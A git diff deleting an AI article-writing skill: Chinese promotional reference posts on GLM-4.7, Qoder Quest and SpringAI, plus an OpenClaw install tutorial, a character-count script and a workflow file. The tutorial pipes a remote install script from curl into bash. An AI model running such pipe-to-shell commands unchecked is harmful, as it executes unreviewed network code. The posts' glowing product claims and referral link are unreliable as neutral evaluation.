-![](https://files.mdnice.com/user/3903/97494a97-0e94-40ef-9ce6-7beb2479dd94.png) - -GLM-4.7 并没有只盯着前端,而是从后端执行引擎开始改起: - -- 后端增加 WebSocket 依赖和基础配置 -- 新增 WebSocket Handler,用于推送节点执行状态 -- 在执行引擎中,把“节点生命周期”拆成可感知的事件 -- 在节点开始、执行中、结束等关键节点,主动向前端推送状态 - -后端改完之后,它才开始动前端。前端这边的改动也非常清晰: - -- 建立 WebSocket 连接 -- 监听后端推送的执行事件 -- 根据节点 ID 实时更新节点状态 -- 让画布上的节点“活”起来,而不是等结果一次性刷新 - -![](https://files.mdnice.com/user/3903/b68ce1a3-7b00-40b8-aa0e-0d6e92f0d78a.jpg) - -有一个细节,我觉得特别加分。在节点执行完成后,GLM-4.7 顺手把节点执行结果里的 JSON 文本做了格式化展示,而不是直接把一坨字符串甩给用户。 - -![](https://files.mdnice.com/user/3903/e494e38a-536e-4308-bded-a88ca17ef1bb.png) - -这个动作看起来很小,但非常贴心。 - -我录了一个完整的视频,大家可以看看,非常完美。从输入 → LLM 执行 → TTS 合成 → 输出完成, -每一步都是实时可见的。 - -【视频】 - -到这一刻,我心里已经笃定了:GLM-4.7 已经不只是“会写前端代码”,还能理解前端在整个系统中的位置和责任。 - -除了硬核的实战代码能力之外,这次的 GLM-4.7 还进一步提升了前端审美。 - -我们直接来让它来帮我们把用户界面改造为赛博朋克风。 - -![](https://files.mdnice.com/user/3903/8ed438ce-2ad4-4980-9768-b3ffb425ecda.png) - -当然了,这个过程中也出现了一些其他的小问题,但好在经过我和 GLM-4.7 的通力合作,算是都解决了。来看一下最后呈现的效果吧。 - -![](https://files.mdnice.com/user/3903/eb753b08-4459-4190-916d-8fbdc2eeb0f8.jpg) - -是不是很酷? - -## 05、Coding Plan 年包计划 - -如果只让我用一句话来总结真实体感,那就是: - -**GLM-4.7,已经坐实了 Claude 的最佳平替,绝不是嘴上说说那种。** - -从 GLM-4.5 出来能承接一部分编程小项目,再到 GLM-4.6 更强的编程,智谱今年在 Coding 上的发力是完全没有想到的力度。 - -不是在榜单里跑分,也不是写几个 demo case,而是放进真实工程、真实 Agent、真实联调环境里之后,你会明显感觉到一件事——它确实是一个称心&顺手的「工程生产力工具」了。 - -- 它能读懂真实项目结构,而不是只看单文件; -- 它习惯从“任务交付”而不是“回答问题”的角度出发; -- 它会主动检查遗漏、修 bug、补联调,而不是写完就走; -- 它在前后端协同、状态流转、工程约束这些地方,明显是有经验积累的。 - -我自己是订阅了智谱的 Coding Plan 年包计划,平常开发基本上不用担心 token 的用量问题,性价比这一点,对比一下 Claude 那是香的没得说。 - -![](https://files.mdnice.com/user/3903/b2584a71-d8b5-4c66-8b66-e4e74ac1e9e3.png) - -- 更稳定的 Coding 专用模型调度策略 -- 对长上下文、复杂任务拆解的明显优化 -- 在 Claude Code、IDE 类工具里的兼容性持续增强 -- 对 Agent 场景、工具调用、任务连续性的支持越来越完整 - -从一个开发者的角度说,这种投入是非常值得的。 - -如果你现在正好在做 Agent、做工作流、做复杂业务系统,或者你只是单纯想提升自己的工程效率、在 AI 时代把生产力再往上抬一档。 - -那 GLM-4.7 **绝对是一个明智的选择。** - -## 06、ending - -我坚信,AI 编程,一定会有光明的未来。 - -哪怕现阶段还有很多的不完美。 - -但日子还长,只要抱有希望,抱有对这个世界的热爱。 - -我们就一定能用 AI Coding 实现更多的创业,挖掘更多的商业价值。 - -给这个世界创造更多的可能性。 - -如果这篇内容对你有用,记得点赞,转发给需要的人。 - -我们下期见! - - diff --git a/.claude/skills/ai-article/references/quest-2.md b/.claude/skills/ai-article/references/quest-2.md deleted file mode 100644 index 916373777e..0000000000 --- a/.claude/skills/ai-article/references/quest-2.md +++ /dev/null @@ -1,233 +0,0 @@ -# 转发很高 - -大家好,我是二哥呀。 - -刚升级完 Qoder 到 0.2.29,就看到这个提醒:Quest 1.0 全新发布,将任务交给 Quest,Agent 能够自主完成高质量、端到端、可交付的结果,**无需人工持续介入**。 - -![](https://cdn.paicoding.com/stutymore/2026nian9096-image37.png) - -讲真,这才是 AI Coding 的终极未来嘛,自主进化,我们只需要告诉 Qoder 我们的想法,Quest 会先对齐需求和约束,然后执行并验收。 - -整个过程据说能持续 26 多小时,这意味着 Quest 1.0 模式下的 Qoder,具备了长上下文的能力。 - -![](https://files.mdnice.com/user/3903/72167ac5-f8f1-4f21-9258-19eab8ce84b5.png) - -Quest 1.0 最重要的升级是:Quest 不再依赖单一的模型完成所有任务。它的智能路由系统会根据子任务特性,比如代码生成、逻辑推理、视觉理解、重构优化,自动调度到最适合的 SOTA 模型。 - -我也录了一个完整的视频,大家可以感受下。 - -【视频】 - -接下来我会带大家真正实操一把,体验用 Quest 1.0 重构传统 Java 后端项目的完整过程——通过 SpringAI 和SpringAI Alibaba 给项目赋能 AI 能力。 - -![](https://cdn.paicoding.com/stutymore/2026nian6554-image6052.png) - -## 01、导入 PaiAgent - -好,打开我们的 PaiAgent 项目,可以看到 Quest 模式从左侧的侧边栏移动到了导航栏的左上角。 - -> 源码已经开源在 GitHub 上:https://github.com/itwanger/PaiAgent - -![](https://files.mdnice.com/user/3903/0ad14df9-e444-4601-b67c-0f40c97dfac2.png) - -点击【Editor】旁边的【Quest】就可以切换到全新布局。在 Quest 1.0 模式下,左边是 Agent 对话区,右侧是编码区和预览区。 - -![](https://files.mdnice.com/user/3903/40fb74c2-24ee-40f4-a481-32f152e56bd5.png) - -Agent 对话区域从右到左,也就意味着在 Quest 1.0 模式下,真正的主角是 Agent。点击 Quest 右侧的【+】号,可以开启一个全新视窗,非常干净。 - -![](https://files.mdnice.com/user/3903/97486d40-77ef-48f5-bc24-01a5f608e509.png) - -在 Claude Code 或者 Qoder CLI 模式下,Vibe Coding 主打一个你说一件事它干一件事。 - -**在 Quest 1.0 模式下,主打一个你说一件事,它干 N 件事**。它会把我们的一个想法,或者一个需求掰开揉碎确认一遍,然后自己拆任务,自己写代码,自己跑起来,自己验收,甚至出错了还能自己改 bug。 - -这种能力,在产品初期的骨架搭建环节,在项目重构技术栈的环节,会非常有帮助。 - -## 02、集成 SpringAI - -前面我们搭建好了 PaiAgent 项目的骨架,但还没有集成 SpringAI,那接下来,我们就通过 Qoder 的 Quest 1.0 来重构一下技术栈。 - -![](https://github.com/itwanger/PaiAgent/raw/main/image/README-29e9a00fc44f42298da9bd230bb8fe96.png) - -我的提示词是: - -> PaiAgent 项目目前还没有集成 SpringAI,但 SpringAI 目前非常火,很多岗位的 jd 中明确要求有这方面的开发经验,目前稳定的版本是 SpringAI 1.1.2 官方 doc 为:https://docs.spring.io/spring-ai/reference/ 那我希望把 SpringAI 集成进来后,重构我们原有的和大模型通信的方式。 - -Qoder 会提示我们这事一个涉及架构重构的复杂任务,最好先生成 Spec,确认后再开始执行。 - -![](https://files.mdnice.com/user/3903/6f1c03cd-1e7b-4953-923b-396b913f0f92.png) - -OK,我们点击【生成 Spec】。 - -能看得出来,此时 Qoder 进行了深度思考,它首先探索现有的代码库,了解当前与大模型通信的实现方式,接着查阅 Spring AI 的官方文档,然后设计集成方案。 - -![](https://files.mdnice.com/user/3903/cbd3f80f-0fc1-4bb0-9b4c-5b5b1fe7c926.jpg) - -这个过程其实蛮值得我们停下来去学习和思考的。关键的地方来了,Qoder 向我们提出了三个问题。 - -第一个:集成 SpringAI 后,是否需要保持现有的动态配置能力,我选择 A。 - -![](https://files.mdnice.com/user/3903/6f07290b-473b-4d2c-b9ef-fdf34fd6a124.png) - -第二个:项目中 DeepSeek 和 Qwen 是通过 OpenAI 兼容 API 调用的,对于通义千问,你希望那种方式,我选择集成阿里巴巴官方的 SpringAI 扩展,支持 dashscope 全部能力。 - -第三个:是否需要支持流式输出功能,SpringAI 原生支持,我选择 B,重构的时候前端一并实现。 - -![](https://files.mdnice.com/user/3903/33ae7376-eae3-4133-8ce7-18c36f399de4.png) - -如果你在这个过程中不确定选哪个,点击左下角的【推荐选项】就可以了。 - -完事点击【继续】,Qoder 就开始我们生成 Spec 文档了,基于 Spring AI 1.1.2 框架重构现有的 LLM 通信层,引入 ChatClient 工厂,根据节点配置在运行时创建不同的 ChatClient 实例,同时抽象公共的 prompt 处理逻辑。 - -![](https://files.mdnice.com/user/3903/b9604ecb-e811-478c-aab8-335e880f536c.png) - -快速过一遍 Spec 文档,发现非常详实,和我预期的重构几乎一模一样,真的,心有灵犀啊,兄弟。 - -![](https://files.mdnice.com/user/3903/0754fbfe-90f5-4810-902d-eeb2a00f1757.png) - -好,点运行开始干活吧! - -![](https://files.mdnice.com/user/3903/a04a495a-84c9-4959-93f8-1bf054003d80.png) - -重构的过程我一直在瞅着,发现 Qoder 的代码规范程度非常高,几乎遵守了每一条阿里巴巴开发规约。 - -啧啧啧,不愧是阿里出品! - -![](https://files.mdnice.com/user/3903/0e01231a-1ded-4bbc-b916-b678df2107dd.jpg) - -这个过程中,如果你想查看任何一个正在修改的类,点击左边 AI 聊天窗口的类名就可以了。 - -学习,从现在开始! - -![](https://files.mdnice.com/user/3903/6353e378-8e78-4715-af20-410b70f31885.png) - -待办窗口还可以看到目前的文件修改进度,哪些已经完成,哪些待完成,一目了然。 - -这次一共新增了 4 个文件,修改了 5 个文件,主要改进有四处: - -- 三个 LLM 执行器的公共逻辑统一抽取到 AbstractLLMNodeExecutor -- 通过 progressCallback 推送流式消息 -- 每个节点可独立配置 apiKey/apiUrl/model -- 使用 Spring AI 的 ChatClient 接口,OpenAI/DeepSeek/Qwen 都可以通过 OpenAI 兼容接口调用 - -![](https://files.mdnice.com/user/3903/c937cbf0-d774-4abe-b4ba-ecf8618be08e.jpg) - -眼尖的同学应该已经发现了,一开始我们要求集成 Spring AI 1.1.2,最后集成的却是 Spring AI 1.0.0-M5,原因 Qoder 也告诉我们了:spring-ai-alibaba 的兼容性问题。 - -再次印证一点,永远不要尝试最新版本,稳定才是软件开发的第一定律。😄 - -OK,我们启动前后端,来试一下。 - -![](https://files.mdnice.com/user/3903/b3526727-3e93-4c0d-bf9c-fdbfdae3f249.png) - -看一下控制台的错误,RetryUtils 这里报错了,问题不大。 - -![](https://files.mdnice.com/user/3903/684780ec-f256-4cba-ad93-474cf72a8b3e.jpg) - -从日志里我们也可以确认一点,那就是 SpringAI 成功集成了,因为我看到了 spring-ai-retry-1.0.0-M5.jar 的日志。 - -好,启动 Qoder CLI,把错误扔进去。 - -![](https://files.mdnice.com/user/3903/c6f09c89-d641-469d-8eba-973e8f263426.png) - -很快,问题发现了,并不是代码的问题,而是我们的配置有问题。DeepSeek 的完整 API 端点应该是:`https://api.deepseek.com`(不包含 `/v1/chat/completions`),Spring AI 的 OpenAiApi 会自动添加 `/v1/chat/completions` 路径。 - -也就是说,SpringAI 的配置需求和我们之前的代码版本需求是不一样的。 - -修改配置,重新执行,一切正常。 - -![](https://files.mdnice.com/user/3903/d2dbd811-0ad0-4b12-8e34-3e8ad4a5418d.png) - -换句话说,Qoder 的 Quest 1.0 模式真的很强,重构这么多代码,竟然没有引入任何 bug,唯一的问题还是我们在配置 API 地址的时候没有兼容 SpringAI。 - -![](https://files.mdnice.com/user/3903/abc9073a-d860-4c4d-9532-c4195715b13d.png) - -交付质量确实无可挑剔! - -## 03、如何写到简历上? - -那,本次的开发任务,我们又该如何写到简历上呢? - -总要有成果,对吧? - -不管是日常的学习还是工作,总得有交付,Qoder 有交付,咱们也得有,不然不就白学了? - -当然,这个工作我们仍然交给 Qoder 的 Quest 1.0 模式来完成。提示词如下: - -> 好,我验证过了,修改一次性通过,恭喜你。接下来,我需要你根据本次的修改,提供一份可以写到简历上的方案。 - -![](https://files.mdnice.com/user/3903/1d5de7c4-82c6-420f-8033-bcc1f8d9a369.png) - -get 到的结果,可直接搬运。 - -项目名称:PaiAgent - 企业级 AI 工作流编排平台 - -项目描述:基于可视化流程编辑器的 AI Agent 工作流平台,支持用户通过拖拽方式编排多种大模型(DeepSeek、通义千问等)和工具节点,使用自研 DAG 引擎按拓扑顺序执行工作流,实现复杂 AI 任务的自动化编排与执行。 - -技术栈:Java 21、Spring Boot 3.4.1、Spring AI 1.0.0 - -核心职责: - -- 基于 Spring AI 框架重构 LLM 通信层,采用工厂模式+模板方法模式设计 ChatClientFactory 动态工厂和 AbstractLLMNodeExecutor 抽象基类,将 5 个 LLM 节点执行器的重复代码从 800+行精简至 75 行 -- 设计动态 ChatClient 创建机制,支持运行时根据工作流节点配置(apiKey/apiUrl/model)动态实例化不同厂商的 ChatClient,实现多租户场景下每个节点独立配置的能力 -- 抽取 PromptTemplateService 公共服务,统一处理 `{{variable}}` 模板变量替换和上下游节点参数引用映射,支持 input 静态值和 reference 动态引用两种参数类型 -- 基于 Spring AI 的 Flux 响应式流实现 LLM 流式输出,通过 SSE 实时推送生成进度到前端,配合现有 ExecutionEvent 事件机制,用户可实时查看 AI 生成过程 - -怎么样,是不是非常扎实? - -AI 应用开发,这不有了?爽歪歪不? - -## 04、集成 SpringAI Alibaba - -SpringAI Alibaba 是阿里巴巴官方开源的一款构建 Agent 智能体应用的框架,能力上集成了 SpringAI,专注于多智能体系统和工作流编排设计。 - -![](https://files.mdnice.com/user/3903/52871b1e-b7c6-481f-b330-1b61d952b74f.jpg) - -> 网址:https://java2ai.com/docs/overview/ - -这个框架在 GitHub 上也开源了,目前已经有 7.9k 的 star 了。 - -![](https://files.mdnice.com/user/3903/5447b442-a85c-44cf-9516-4eff04838670.jpg) - -原则上,同时在一个项目中集成 SpringAI 和 SpringAI Alibaba 是会冲突的,因为两个框架都注册了同名的 Spring Bean,主要是 ChatClientAutoConfiguration 中的 chatClientBuilderConfigurer Bean 重复定义,导致 BeanDefinitionOverrideException。 - -所以,如果想要集成 SpringAI Alibaba 的话,最好不要再集成 SpringAI。 - -![](https://files.mdnice.com/user/3903/da00756a-fae3-4c43-acba-623e27da2ef2.png) - -如果面试中,遇到类似的问题:那你讲讲 SpringAI 和 SpringAI alibaba 之间的区别? - -答:Spring AI 由 Spring 官方提供,主要解决的是怎么调用大模型 API 的问题,它把各家大模型的接口统一封装,类似于 JDBC 统一数据库接口一样。 - -Spring AI Alibaba 是阿里在 Spring AI 基础上做的扩展,它不光能调 API,还提供了 Agent 框架、工作流编排、RAG 检索这些更高级的能力。另外它对阿里云的通义千问有原生支持,不用走 OpenAI 兼容接口。简单说,Spring AI 是"调模型",Spring AI Alibaba 是"做智能体"。 - -好,我们重新开一个 Quest,输入提示词。 - -![](https://files.mdnice.com/user/3903/0a877886-6e86-49ad-ac2b-229a214d8627.jpg) - -让 Qoder 生成一份新的 Spec,重新开始干活(再苦再累,它也毫无怨言 😄)! - -![](https://files.mdnice.com/user/3903/3367418e-5b24-4037-aa7e-2839f8cc54dc.png) - -等 Qoder 完工后我们重新启动后端和前端,来测试一下。 - -![](https://files.mdnice.com/user/3903/9168f592-ebab-4721-96de-330ffa181ceb.png) - -一遍过,再次验证,Quest 1.0 模式下的 Qoder 工程能力实在是强,配得上 Self-Evolving Autonomous Agent! - -![](https://files.mdnice.com/user/3903/c232039b-76ec-465c-b8ae-0bcb447893f2.jpg) - -## 05、ending - -真心话,Quest 1.0 模式下的 Qoder,工程能力比我想象中的要强,以后重构屎山代码,或者从 0 到 1 搭建项目骨架就靠它了呀。 - -我们这次从集成 SpringAI 到切到 SpringAI Alibaba,中间牵扯版本兼容、Bean 冲突、配置差异这种典型的工程脏活,Qoder 处理得又稳又干净,最后交付一次性通过,说真的,这种体验很容易让人上瘾。 - -Quest 1.0 更像一个持续进化的同事,干活不抱怨,复盘不甩锅,遇到问题先自己查,再给你结论和方案,而且它还能在一个任务里跑很久很久,把你从那些细碎但必须做的事情里拎出来。 - -就像 Qoder 官方表达的愿景:**Quest on, Hands off**! - -启动任务,然后放手。让 AI 自己学习、自己解决问题、自己完成交付。还没有下载安装的同学可以抓紧时间体验一波了。 - -> 下载地址:https://qoder.com/download diff --git a/.claude/skills/ai-article/scripts/check_body_length.py b/.claude/skills/ai-article/scripts/check_body_length.py deleted file mode 100644 index c8db2eab95..0000000000 --- a/.claude/skills/ai-article/scripts/check_body_length.py +++ /dev/null @@ -1,73 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- -""" -统计 Markdown 文件的正文长度 -排除 frontmatter、代码块、链接、图片等非正文内容 -只统计中文字符数 -""" - -import sys -import re -from pathlib import Path - -def count_chinese_chars(text): - """统计中文字符数量""" - # 移除所有空白 - text = re.sub(r'\s+', '', text) - - # 移除 Markdown 语法标记 - # 移除代码块 ```...``` - text = re.sub(r'```.*?```', '', text, flags=re.DOTALL | re.MULTILINE) - # 移除行内代码 `...` 或 "..." - text = re.sub(r'`[^`]*`', '', text) - text = re.sub(r'"[^"]*"', '', text) - - # 移除图片链接 - text = re.sub(r'!\[\[](https://[^\)]+)\]\([^\)]+\)', '', text) - - # 移除超链接 [text](url) - text = re.sub(r'\[([^\]]+)\]\([^\)]+\)', '', text) - - # 统计中文字符(排除英文、数字、标点符号) - # 中文字符范围:\u4e00-\u9fa5 - chinese_chars = re.findall(r'[\u4e00-\u9fa5]', text) - return len(chinese_chars) - -def main(): - if len(sys.argv) < 2: - print("用法: python3 check_body_length.py <文件路径> [--min 最小字数]") - sys.exit(1) - - file_path = sys.argv[1] - min_chars = 4000 - - # 读取文件 - try: - with open(file_path, 'r', encoding='utf-8') as f: - content = f.read() - except FileNotFoundError: - print(f"错误:文件不存在 - {file_path}") - sys.exit(1) - except Exception as e: - print(f"错误:读取文件失败 - {e}") - sys.exit(1) - - # 移除 frontmatter (--- 到 --- 之间) - content = re.sub(r'^---$.*?^---$\s', '', content, flags=re.DOTALL | re.MULTILINE) - - # 统计字数 - count = count_chinese_chars(content) - - print(f"正文中文字数: {count}") - print(f"要求最小字数: {min_chars}") - - if count >= min_chars: - print("✅ 达标!") - sys.exit(0) - else: - needed = min_chars - count - print(f"❌ 未达标,还需要 {needed} 字") - sys.exit(1) - -if __name__ == '__main__': - main() diff --git a/.codex/skills/ai-article/SKILL.md b/.codex/skills/ai-article/SKILL.md deleted file mode 100644 index b991837109..0000000000 --- a/.codex/skills/ai-article/SKILL.md +++ /dev/null @@ -1,229 +0,0 @@ ---- -name: ai-article -description: 为 AI 主题文章提供选题研究、证据整理和成稿写作能力。适用于 AI Coding 工具实测、大模型产品评测、Agent 工作流、RAG/Spring AI 落地、国产模型观察等内容,产出贴近“二哥”风格的可发布 Markdown 文章。 ---- - -# AI Article - -## 何时使用 - -当用户要你做下面这些事情时,使用这个 skill: - -- 写一篇 AI 技术文章 -- 围绕某个 AI 产品、模型、Agent 或框架做评测 -- 先搜集 AI 热点,再给出选题或成稿 -- 把已有素材整理成“二哥”风格的文章 - -如果用户只是想要一个标题、一个提纲、几条选题,不要默认写完整长文,先交付用户真正要的粒度。 - -## 先看什么 - -按需读取,不要一次性把所有参考材料都塞进上下文: - -- `./sucai.md` - 用户这次提供的主素材。先读它,再决定是否联网补充。 -- `./references/style-map.md` - 先看这份索引,再决定读哪篇参考文,避免把所有示例文章都加载进来。 -- `./references/topic-patterns.md` - 当用户只说“最近写什么 AI 题材好”时,先读它,再做热点选题输出。 -- `./references/glm4-7.md` - 适合做模型/产品评测类语气参考。 -- `./references/quest-2.md` - 适合做体验型、观点型写法参考。 -- `./references/OpenClaw-install.md` - 适合教程型、实操型文章参考。 -- `./references/OpenClaw-unstall.md` - 适合偏对话感、解释型写法参考。 -- `./scripts/check_body_length.py` - 需要检查正文长度时直接运行,不要手算。 - -## 默认工作方式 - -除非用户明确指定,否则按下面的原则执行: - -1. 主题优先级:用户明确主题 > `sucai.md` 中已有主题 > 你根据最新信息提炼出的热点主题。 -2. 风格优先级:用户明确指定风格 > 根据题材自动匹配参考文 > 在最终回复中说明你的风格假设。 -3. 信息优先级:用户素材和一手来源优先,二手解读只能辅助,不能替代证据。 - -## 工作流 - -### 1. 明确交付物 - -先判断用户要的是哪一种: - -- 完整文章 -- 选题清单 -- 标题 + 提纲 -- 对已有初稿润色/重写 - -只有在用户明显要“文章”时,才进入完整写作流程。 - -### 1.5 热点选题模式 - -如果用户没有明确主题,而是要“最近 AI 热点”“给我几个 AI 选题”“最近有什么可写的”,不要直接写长文,先产出选题方案。 - -执行顺序: - -1. 读 `./references/topic-patterns.md`,确定这次更适合哪一类题材。 -2. 联网搜索最近 7 天到 14 天内的可信来源,优先官方发布和一手讨论。 -3. 给出 3 到 5 个选题,每个选题都包含: - - 题目方向 - - 为什么现在值得写 - - 可展开的核心角度 - - 建议参考的文章写法 -4. 只有用户确认其中一个方向后,再进入完整写作流程。 - -热点选题输出要像“可以直接开写的备忘卡”,不是泛泛而谈的行业总结。 - -### 2. 读取现有素材 - -先读 `./sucai.md`。从里面提取: - -- 主题和核心观点 -- 可直接使用的数据、案例、截图线索 -- 用户已经表达过的偏好、结论和禁区 - -如果 `sucai.md` 不存在有效信息,再考虑联网搜索,不要机械联网。 - -### 3. 补充外部证据 - -当主题涉及“最新”“发布”“本周”“近期”“实测结论”时,必须联网核验。优先使用: - -- 官方博客、产品文档、发布说明 -- 官方 X 账号、GitHub Release、论文主页 -- 有明确作者和时间的真实实测内容 - -搜索时带上明确时间范围,避免引用过期内容。所有关键结论都要能回答这三个问题: - -- 结论来自哪里? -- 信息是什么时候发布的? -- 为什么这条来源可信? - -如果某条说法找不到可靠来源,就降级成“个人观察”或直接删掉,禁止伪造引用、跑分和用户评价。 - -### 4. 选定写法 - -根据题材自动选择最接近的参考文,只读必要文件: - -- 先读 `./references/style-map.md`,再决定加载哪篇参考文 -- 产品评测/模型观察:优先看 `glm4-7.md` 或 `quest-2.md` -- 安装教程/落地实践:优先看 `OpenClaw-install.md` -- 对话感解释/故事化展开:优先看 `OpenClaw-unstall.md` - -这里学的是节奏、语气、结构密度,不是照搬内容。不要复刻原文段落,不要复用原文案例。 - -### 5. 先做证据清单,再写正文 - -写正文前,先在脑中或草稿里整理一份最小证据表。至少覆盖: - -- 结论点 -- 来源链接 -- 发布日期 -- 可用方式(可直接引用 / 可转述 / 仅作背景) - -这一步是为了避免边写边编。 - -### 6. 生成文章 - -输出默认是 Markdown。完整文章通常包含: - -- YAML frontmatter -- 标题 -- 开头 -- 3 到 5 个主体章节 -- `## ending` - -frontmatter 模板: - -```yaml ---- -title: 文章标题 -shortTitle: 短标题 -description: 文章描述 -tag: - - Agent -category: - - AI -author: 沉默王二 -date: YYYY-MM-DD ---- -``` - -日期要用真实当前日期。需要时先运行: - -```bash -date "+%Y-%m-%d" -``` - -正文默认要求: - -- 开头使用“大家好,我是二哥呀。” -- 整体口语化,有态度,有真实体验感 -- 正文用中文标点 -- 二级标题使用 `## 01、标题` 这种格式 -- 核心章节可放截图占位符,写清楚“截图目标”和“关键词” -- 结尾使用 `## ending` - -这些是默认风格,不是僵死模板。如果用户明确要求换开头、改结构或缩短文章,以用户要求为准。 - -### 7. 长度检查 - -只有在用户明确要“长文”或仓库要入库文章时,才强制检查长度。使用: - -```bash -python3 ./.codex/skills/ai-article/scripts/check_body_length.py <文件路径> -``` - -经验标准: - -- 3000 字以下:通常偏短,优先补案例、对比、实操细节 -- 3000 到 4500 字:大多数场景可接受 -- 明显超过 4500 字:检查是否有重复论述 - -不要为了凑字数硬灌水。 - -### 8. 落盘 - -如果用户要保存成仓库文章,默认写到: - -`docs/src/sidebar/itwanger/ai/` - -文件名用主题关键词,简洁、可读、可检索。 - -## 写作准则 - -### 要保留的“二哥感” - -- 像和读者聊天,不像念白皮书 -- 有观点,不假装中立 -- 讲工具、模型、工作流时尽量带真实场景 -- 复杂概念拆开说,少用空洞大词 - -### 要避免的内容 - -- AI 腔连接词堆砌 -- 没来源的“网友表示”“有人说” -- 大而空的行业黑话 -- 伪造实测、伪造截图、伪造使用体验 - -### 标题原则 - -标题要像公众号技术作者写的,不像论文题目。优先做到: - -- 口语化 -- 有信息增量 -- 有一点情绪或冲突 -- 不故意做夸张标题党 - -如果用户没给标题,可以先给 3 个备选,再选择一个最适合正文展开的版本。 - -## 交付时要说明什么 - -最终回复里尽量说清: - -- 你采用了哪类写法 -- 哪些结论来自外部来源 -- 哪些地方是基于素材的经验判断 -- 如果你做了风格假设,把假设讲出来 - -这样用户后续改稿会更顺。 diff --git a/.codex/skills/ai-article/agents/openai.yaml b/.codex/skills/ai-article/agents/openai.yaml deleted file mode 100644 index 36ccb2edae..0000000000 --- a/.codex/skills/ai-article/agents/openai.yaml +++ /dev/null @@ -1,4 +0,0 @@ -interface: - display_name: "AI 文章写作助手" - short_description: "按二哥风格完成 AI 选题研究、资料核验和可发布文章写作" - default_prompt: "Use $ai-article to research this AI topic, verify current sources, and draft a publish-ready Markdown article in 二哥 style." diff --git a/.codex/skills/ai-article/references/OpenClaw-install.md b/.codex/skills/ai-article/references/OpenClaw-install.md deleted file mode 100644 index f1d403be31..0000000000 --- a/.codex/skills/ai-article/references/OpenClaw-install.md +++ /dev/null @@ -1,482 +0,0 @@ ---- -title: OpenClaw 安装教程,全网最详细手把手教你接入飞书! -shortTitle: OpenClaw 飞书接入教程 -description: 一份超详细的 OpenClaw 安装指南,从本地部署到飞书机器人接入,手把手教你打造 7×24 小时在线的 AI 助手 -tag: - - OpenClaw - - Agent -category: - - AI -author: 沉默王二 -date: 2026-02-24 ---- - -大家好,我是二哥呀。 - -OpenClaw 火有一个多月了吧,甚至各大服务器厂商都纷纷下海卷了一吧,主打一个 Mac mini 你不用买,买一台云服务器就好。 - -并且多次强调,不要在你本地电脑部署,权限太大,容易把你本地的东西 `rm -rf` 了,但说实话这里面有极大的商业利益。😄 - -安装 OpenClaw 本身没有任何难度,Mac 版本的安装包都有了。 - -![](https://cdn.paicoding.com/paicoding/037694bfedad718bca96d2721f57cc36.png) - -但信息差这东西永远都存在,哪怕是 AI 这么卷的情况下,仍然有不少小伙伴在本地装不起来 OpenClaw。 - -我甚至收到好几位读者的私信,要我出个保姆级教程,说他们公司,老板年后开工突然就要求在本地装个龙虾,以便每个人能发挥出最大的生产力。 - -![](https://cdn.paicoding.com/paicoding/944c66cbc08fac54239a82b77f41a662.png) - -OpenClaw 本质上类似 Claude Code,但 CC 在名字上吃了大亏,不了解的小伙伴以为 CC 只面对程序员群体,但其实 CC 能干的活非常多,只要权限够大,脑洞够大。 - -OpenClaw 本质上也是一个 CC。让它爆火的原因是,它虽然工作在你本地电脑或者云服务器上,但可以通过 IM 工具,比如说飞书、钉钉进行远程管理。 - -你在飞书群里发一条消息,它就能帮你整理文档、抓取网页、生成代码、处理 Excel,甚至还能定时提醒你该摸鱼了。 - -![](https://cdn.paicoding.com/paicoding/af2ab68d1dd05d25dcdd6270a6a5919c.png) - -不了解的小伙伴会以为部署这玩意儿特别麻烦,但其实核心步骤就那么几步。 - -真正卡住大家前进脚步的,是环境配置和飞书权限这些细节。 - -今天这篇,我把踩过的坑都帮你填平,跟着做就行了。真的有手就行,手摸手那种。 - -## 01、OpenClaw 到底是个啥? - -先搞清楚我们要装的是什么东西。 - -OpenClaw 是一个开源的 AI 代理平台,核心能力就一句话:用自然语言驱动工具完成任务。 - -![](https://cdn.paicoding.com/paicoding/d847d3b7ea67cb6bd197dc788ad83b8d.jpg) - -它不是那种只会回答问题的聊天机器人,而是真正能动手的 Agent。 - -读写文件、执行命令、操控浏览器、处理邮件,这些它都能干。 - -更重要的是,它支持通过飞书、钉钉、企业微信、QQ 这些 IM 工具来控制。 - -![](https://cdn.paicoding.com/paicoding/dcdf937bac558a7ff835097b9d93e78e.png) - -你在飞书里说帮我整理一下今天的待办事项,它就会乖乖去执行。 - -OpenClaw 本身不具备独立的大语言模型推理能力,需要对接大模型才能听懂指令。 - -支持的大模型很多,阿里云百炼、智谱 GLM、OpenAI、Anthropic 都可以。 - -## 02、前置环境准备 - -开始之前,先把该装的装好,免得中途报错一脸懵逼。 - -### Node.js 升级到 22 以上 - -这是硬性要求,低于 22 版本会报错。 - -macOS 用户可以直接用 Homebrew: - -```bash -brew install node@22 -``` - -或者 warp 直接升级“node 升级到 22 版本”。 - -![](https://cdn.paicoding.com/paicoding/bc500447bdf583f93be3185b7e067251.png) - -装完后验证一下: - -```bash -node -v -``` - -显示 `v22.x.x` 就没问题。 - -![](https://cdn.paicoding.com/paicoding/c014f82f4908f447c6da7f3e51363f53.png) - -Windows 用户建议用 WSL2,在 Linux 环境里装会更顺畅。直接在 Windows 原生环境安装可能会遇到各种兼容性问题。 - -### 准备大模型的 API Key - -我这里以智谱 GLM 为例,因为我是他们家的 coding plan 套餐用户(非利益关系,纯粹是 OpenClaw 烧 token 太快,只有 plan 套餐才能顶得住)。 - -![](https://cdn.paicoding.com/paicoding/124994c429b13082fcffff90ed510fe9.png) - -max 包真特喵的贵! - -有需要的小伙伴建议先买个 lite 版本的,一个月 49 块钱试试。我把我的邀请链接贴一下,你下单能省 10%费用,我也能返 10%的血条。 - -> 链接:https://www.bigmodel.cn/glm-coding?ic=STBFQ0PXIN - -购买后访问智谱开放平台,登录后在 API Keys 页面创建一个 Key,复制保存好。 - -![](https://cdn.paicoding.com/paicoding/f69e68dba5a566a4a1fd51e9f9d91849.jpg) - -后面要用。 - -## 03、安装 OpenClaw - -环境准备好后,开始正式安装。 - -### macOS 用户 - -打开终端,执行一键安装脚本: - -```bash -curl -fsSL https://openclaw.ai/install.sh | bash -``` - -![](https://cdn.paicoding.com/paicoding/122a4ac1028744398bb1cb2abee36fc0.png) - -这个脚本会自动检测系统环境,安装 Node.js 和所有依赖,基本不用你操心。 - -我第一次执行似乎卡死到了这里,提示 `npm install failed`。 - -![](https://cdn.paicoding.com/paicoding/b61faf4e3dc07c732ccea4215901e105.png) - -我就直接 ctrl-c 结束重新起了一个终端窗口开始执行。 - -这次执行成功了。 - 